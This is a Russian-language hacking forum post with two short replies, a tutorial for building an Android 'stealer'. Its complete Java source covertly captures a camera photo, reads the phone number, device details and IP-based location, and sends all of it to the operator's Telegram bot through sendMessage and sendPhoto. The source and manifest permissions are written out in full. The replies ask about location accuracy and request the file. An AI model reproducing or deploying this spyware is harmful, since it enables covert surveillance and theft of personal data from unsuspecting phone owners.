Получаем данные телефона - простой rat

zebra0_0

Light Weight
Регистрация
8 Окт 2024
Сообщения
19
Реакции
10
Депозит
0$
Привет, решил написать статью про создание простого stealer для android в целях получения фото с камеры + данных о телефоне.

В процессе этой небольшой статьи я расскажу а главное покажу как создать steler который будет получать такие данные как: Модель телефона, Место где телефон находится(Точная странна и предположительный город) и самое главное что мы получаем номер телефона доступ к камере.

Создание:
Для начала важно сказать что всё будет на писано на Java, без использования сервера так как данные будет идти напрямую через тг бот по user id.

Инициализация Telegram-бота

В вашем коде Telegram-бот инициализируется и используется для отправки сообщений.
Всё что вам нужно написать в строке BOT_TOKEN токен вашего бота а в строке CHAT_ID ваш chat id.

Код: Скопировать в буфер обмена
Код:
 private static final String BOT_TOKEN = "Токен бота";
 private static final String CHAT_ID = "chat id";

Ваш chat id можно узнать написав вашему боту сообщение а потом перейдя по данной ссылке: https://api.telegram.org/bot<Токен вашего бота>/getUpdates
Там вам нужно найти строку "chat": "id" после которых будет идти ваш chad id.

Разрешения:
1. Чтоб получить доступ к нужным функциям для начало нужно прописать uses-permission в файле AndroidManifest.xml
Разрешения:

XML: Скопировать в буфер обмена
Код:
 <uses-permission android:name="android.permission.INTERNET" />
 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
 <uses-permission android:name="android.permission.CAMERA" />

2. Далее надо прописать запрос разрешений в java коде, в моём случае это MainActivity.java:

Java: Скопировать в буфер обмена
Код:
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
    ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
     PERMISSION_REQUEST_CODE);
  } else {
   startBackgroundThread();
   openCamera();
  }

Рабата с камерой:
1. Захват изображения
Для захвата изображения нам надо:
  • Получаем список доступных камер через CameraManager.
  • Открыть первую камеру(Основная) либо вторую если вам нужна фронталка.
  • Настраиваем ImageReader, который будет получать изображения с камеры в формате JPEG.
  • Запускаем фоновый поток для захвата изображения.
Код:
Java: Скопировать в буфер обмена
Код:
private void openCamera() {
 CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
 try {
  String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
  Size[] sizes = manager.getCameraCharacteristics(cameraId)
    .get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
    .getOutputSizes(ImageReader.class);
  imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
  imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);

  if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
   manager.openCamera(cameraId, stateCallback, backgroundHandler);
  }
 } catch (CameraAccessException e) {
  e.printStackTrace();
 }
}

Когда изображение будет доступно вызываем метод onImageAvailableListener для его обработки

2. Cохраняем изображение
В далее идущем коде показан метод который сохраняет полученные байты изображения в файл.Далее он создает файл photo.jpg в каталоге кеша приложения и записывает туда данные. После записи возвращает файл для дальнейшего использования.

Код:
Java: Скопировать в буфер обмена
Код:
private File saveImageToFile(byte[] bytes) {
 File file = new File(getCacheDir(), "photo.jpg");
 try (FileOutputStream fos = new FileOutputStream(file)) {
  fos.write(bytes);
  return file;
 } catch (IOException e) {
  e.printStackTrace();
 }
 return null;
}

Получение информации о местоположении по IP

Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе IP-адреса. Ответ от сервера в формате JSON содержит такие поля, как город (city) и страна (country). Эти значения извлекаются и возвращаются как строка. Если запрос не удается, возвращается сообщение об ошибке.

Код:
Java: Скопировать в буфер обмена
Код:
private String getLocationFromIP() {

 OkHttpClient client = new OkHttpClient();

 Request request = new Request.Builder()

   .url("https://ipinfo.io/json")

   .build();



 try {

  Response response = client.newCall(request).execute();

  if (response.isSuccessful()) {

   String json = response.body().string();

   JSONObject jsonObject = new JSONObject(json);



   // Проверяем наличие данных о городе и стране

   String city = jsonObject.optString("city", "Неизвестный город");

   String country = jsonObject.optString("country", "Неизвестная страна");



   return city + ", " + country;

  } else {

   Log.e("LocationError", "Response unsuccessful: " + response.code());

  }

 } catch (IOException | JSONException e) {

  e.printStackTrace();

  Log.e("LocationError", "Error getting location: " + e.getMessage());

 }

 return "Не удалось определить местоположение";

}

Отправка данных в Telegram

Java: Скопировать в буфер обмена
Код:
private void sendDeviceInfo(File photoFile) {
 String phoneNumber = getPhoneNumber();
 String manufacturer = android.os.Build.MANUFACTURER;
 String model = android.os.Build.MODEL;
 String version = android.os.Build.VERSION.RELEASE;

 String location = getLocationFromIP();

 String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
   "Устройство: " + manufacturer + " " + model + "\n" +
   "Версия Android: " + version + "\n" +
   "Местоположение: " + location;

 sendMessageToTelegram(message, photoFile);
}

Этот метод формирует сообщение, которое отправляется в Telegram. Он:

  1. Получает информацию о телефоне (номер телефона, производитель, модель, версия Android).
  2. Получает местоположение устройства (город и страна) с помощью метода getLocationFromIP().
  3. Формирует строку сообщения, которое отправляется в Telegram
Отправка сообщения и фотографии в Telegram

Java: Скопировать в буфер обмена
Код:
private void sendMessageToTelegram(String message, File photoFile) {
 OkHttpClient client = new OkHttpClient();

 // Отправка текстового сообщения
 RequestBody formBody = new MultipartBody.Builder()
   .setType(MultipartBody.FORM)
   .addFormDataPart("chat_id", CHAT_ID)
   .addFormDataPart("text", message)
   .build();

 Request request = new Request.Builder()
   .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
   .post(formBody)
   .build();

 client.newCall(request).enqueue(new Callback() {
  @Override
  public void onFailure(Call call, IOException e) {
   Log.e("Telegram", "Failed to send message: " + e.getMessage());
  }

  @Override
  public void onResponse(Call call, Response response) throws IOException {
   if (!response.isSuccessful()) {
    Log.e("Telegram", "Failed to send message: " + response.message());
   }
  }
 });

 // Отправка фото
 RequestBody photoBody = new MultipartBody.Builder()
   .setType(MultipartBody.FORM)
   .addFormDataPart("chat_id", CHAT_ID)
   .addFormDataPart("photo", photoFile.getName(),
     RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
   .build();

 Request photoRequest = new Request.Builder()
   .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
   .post(photoBody)
   .build();

 client.newCall(photoRequest).enqueue(new Callback() {
  @Override
  public void onFailure(Call call, IOException e) {
   Log.e("Telegram", "Failed to send photo: " + e.getMessage());
  }

  @Override
  public void onResponse(Call call, Response response) throws IOException {
   if (!response.isSuccessful()) {
    Log.e("Telegram", "Failed to send photo: " + response.message());
   }
  }
 });
}

Метод отправляет два типа данных в Telegram:

  1. Текстовое сообщение: Оно содержит информацию о телефоне, устройстве, версии Android и местоположении.
  2. Фотографию: Файл с изображением отправляется с использованием того же Telegram Bot API.
Для отправки используются два различных запроса:

  • Один для текстового сообщения (sendMessage).
  • Другой для отправки фотографии (sendPhoto).
Фоновый поток для работы с камерой

Java: Скопировать в буфер обмена
Код:
private void startBackgroundThread() {
 backgroundThread = new HandlerThread("CameraBackground");
 backgroundThread.start();
 backgroundHandler = new Handler(backgroundThread.getLooper());
}

private void stopBackgroundThread() {
 if (backgroundThread != null) {
  backgroundThread.quitSafely();
  try {
   backgroundThread.join();
   backgroundThread = null;
   backgroundHandler = null;
  } catch (InterruptedException e) {
   e.printStackTrace();
  }
 }
}

Эти методы запускают и останавливают фоновый поток для работы с камерой. Фоновый поток необходим для выполнения долгих операций (например, захват изображений), чтобы они не блокировали основной поток приложения. Метод startBackgroundThread() запускает новый поток, а stopBackgroundThread() завершает его безопасно.

Общий принцип работы:

  1. Пользователь запускает приложение, и система проверяет разрешения для доступа к камере и телефону.
  2. После получения разрешений открывается камера и начинается захват изображений.
  3. Когда фотография сделана, она сохраняется в файл, а затем отправляется в Telegram вместе с системной информацией (например, номер телефона, модель устройства) и местоположением (полученным по IP
Код целиком:
Java: Скопировать в буфер обмена
Код:
package com.example.myapplication;

import android.Manifest;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
import android.media.Image;
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Arrays;

import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;

public class MainActivity extends AppCompatActivity {

 private static final int PERMISSION_REQUEST_CODE = 1;
 private static final String BOT_TOKEN = "Токен бота";
 private static final String CHAT_ID = "Chat id";

 private CameraDevice cameraDevice;
 private ImageReader imageReader;
 private Handler backgroundHandler;
 private HandlerThread backgroundThread;

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  checkAndRequestPermissions();
 }

 private void checkAndRequestPermissions() {
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
    ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
     PERMISSION_REQUEST_CODE);
  } else {
   startBackgroundThread();
   openCamera();
  }
 }

 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == PERMISSION_REQUEST_CODE) {
   if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
    startBackgroundThread();
    openCamera();
   } else {
    Toast.makeText(this, "Разрешения не предоставлены", Toast.LENGTH_SHORT).show();
   }
  }
 }

 private void openCamera() {
  CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
  try {
   String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
   Size[] sizes = manager.getCameraCharacteristics(cameraId)
     .get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
     .getOutputSizes(ImageReader.class);
   imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
   imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);

   if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
    manager.openCamera(cameraId, stateCallback, backgroundHandler);
   }
  } catch (CameraAccessException e) {
   e.printStackTrace();
  }
 }

 private final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() {
  @Override
  public void onOpened(@NonNull CameraDevice camera) {
   cameraDevice = camera;
   createCameraCaptureSession();
  }

  @Override
  public void onDisconnected(@NonNull CameraDevice camera) {
   camera.close();
   cameraDevice = null;
  }

  @Override
  public void onError(@NonNull CameraDevice camera, int error) {
   camera.close();
   cameraDevice = null;
  }
 };

 private void createCameraCaptureSession() {
  try {
   Surface surface = imageReader.getSurface();
   CaptureRequest.Builder captureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
   captureRequestBuilder.addTarget(surface);
   captureRequestBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO);

   cameraDevice.createCaptureSession(Arrays.asList(surface), new CameraCaptureSession.StateCallback() {
    @Override
    public void onConfigured(@NonNull CameraCaptureSession session) {
     try {
      session.capture(captureRequestBuilder.build(), null, backgroundHandler);
     } catch (CameraAccessException e) {
      e.printStackTrace();
     }
    }

    @Override
    public void onConfigureFailed(@NonNull CameraCaptureSession session) {
     Log.e("CameraCaptureSession", "Configuration failed");
    }
   }, backgroundHandler);
  } catch (CameraAccessException e) {
   e.printStackTrace();
  }
 }

 private final ImageReader.OnImageAvailableListener onImageAvailableListener = new ImageReader.OnImageAvailableListener() {
  @Override
  public void onImageAvailable(ImageReader reader) {
   Image image = reader.acquireLatestImage();
   if (image != null) {
    ByteBuffer buffer = image.getPlanes()[0].getBuffer();
    byte[] bytes = new byte[buffer.remaining()];
    buffer.get(bytes);
    image.close();

    File photoFile = saveImageToFile(bytes);
    if (photoFile != null) {
     sendDeviceInfo(photoFile);
    }
   }
  }
 };

 private File saveImageToFile(byte[] bytes) {
  File file = new File(getCacheDir(), "photo.jpg");
  try (FileOutputStream fos = new FileOutputStream(file)) {
   fos.write(bytes);
   return file;
  } catch (IOException e) {
   e.printStackTrace();
  }
  return null;
 }

 private void sendDeviceInfo(File photoFile) {
  String phoneNumber = getPhoneNumber();
  String manufacturer = android.os.Build.MANUFACTURER;
  String model = android.os.Build.MODEL;
  String version = android.os.Build.VERSION.RELEASE;

  String location = getLocationFromIP();

  String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
    "Устройство: " + manufacturer + " " + model + "\n" +
    "Версия Android: " + version + "\n" +
    "Страна и предполагаемый город: " + location;

  sendMessageToTelegram(message, photoFile);
 }

 private String getPhoneNumber() {
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
  if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
   return telephonyManager.getLine1Number();
  }
  return null;
 }

 private String getLocationFromIP() {
  OkHttpClient client = new OkHttpClient();
  // Используем HTTPS для безопасного запроса
  Request request = new Request.Builder()
    .url("https://ipinfo.io/json")
    .build();

  try {
   Response response = client.newCall(request).execute();
   if (response.isSuccessful()) {
    String json = response.body().string();
    JSONObject jsonObject = new JSONObject(json);

    // Проверяем наличие данных о городе и стране
    String city = jsonObject.optString("city", "Неизвестный город");
    String country = jsonObject.optString("country", "Неизвестная страна");

    Log.d("LocationInfo", "City: " + city + ", Country: " + country);

    return city + ", " + country;
   } else {
    Log.e("LocationError", "Response unsuccessful: " + response.code());
   }
  } catch (IOException e) {
   e.printStackTrace();
   Log.e("LocationError", "IOException: " + e.getMessage());
  } catch (JSONException e) {
   e.printStackTrace();
   Log.e("LocationError", "JSONException: " + e.getMessage());
  }
  return "Не удалось определить местоположение";
 }

 private void sendMessageToTelegram(String message, File photoFile) {
  OkHttpClient client = new OkHttpClient();

  // Отправка текстового сообщения
  RequestBody formBody = new MultipartBody.Builder()
    .setType(MultipartBody.FORM)
    .addFormDataPart("chat_id", CHAT_ID)
    .addFormDataPart("text", message)
    .build();

  Request request = new Request.Builder()
    .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
    .post(formBody)
    .build();

  client.newCall(request).enqueue(new Callback() {
   @Override
   public void onFailure(Call call, IOException e) {
    Log.e("Telegram", "Failed to send message: " + e.getMessage());
   }

   @Override
   public void onResponse(Call call, Response response) throws IOException {
    if (!response.isSuccessful()) {
     Log.e("Telegram", "Failed to send message: " + response.message());
    }
   }
  });

  // Отправка фото
  RequestBody photoBody = new MultipartBody.Builder()
    .setType(MultipartBody.FORM)
    .addFormDataPart("chat_id", CHAT_ID)
    .addFormDataPart("photo", photoFile.getName(),
      RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
    .build();

  Request photoRequest = new Request.Builder()
    .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
    .post(photoBody)
    .build();

  client.newCall(photoRequest).enqueue(new Callback() {
   @Override
   public void onFailure(Call call, IOException e) {
    Log.e("Telegram", "Failed to send photo: " + e.getMessage());
   }

   @Override
   public void onResponse(Call call, Response response) throws IOException {
    if (!response.isSuccessful()) {
     Log.e("Telegram", "Failed to send photo: " + response.message());
    }
   }
  });
 }

 private void startBackgroundThread() {
  backgroundThread = new HandlerThread("CameraBackground");
  backgroundThread.start();
  backgroundHandler = new Handler(backgroundThread.getLooper());
 }

 @Override
 protected void onPause() {
  super.onPause();
  closeCamera();
  stopBackgroundThread();
 }

 private void closeCamera() {
  if (cameraDevice != null) {
   cameraDevice.close();
   cameraDevice = null;
  }
 }

 private void stopBackgroundThread() {
  if (backgroundThread != null) {
   backgroundThread.quitSafely();
   try {
    backgroundThread.join();
    backgroundThread = null;
    backgroundHandler = null;
   } catch (InterruptedException e) {
    e.printStackTrace();
   }
  }
 }
}


После выполнения кода вам придёт лог следующего вида:

Спасибо за внимание! Надеюсь статья была полезной.
С радостью отвечу на любые вопросы или предложения в комментариях.
 
>Получение информации о местоположении по IP
>Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе >IP-адреса

Тыркнул https://ipinfo.io/json , открылась новая вкладка с координатами.
При подставлении координат в гугол карты, отклонение от факта составило 767 метров
Критично ли это ?
 
Очень классный инструмент, спасибо. есть ли у вас формат файла для этого кода?
 
Назад
Сверху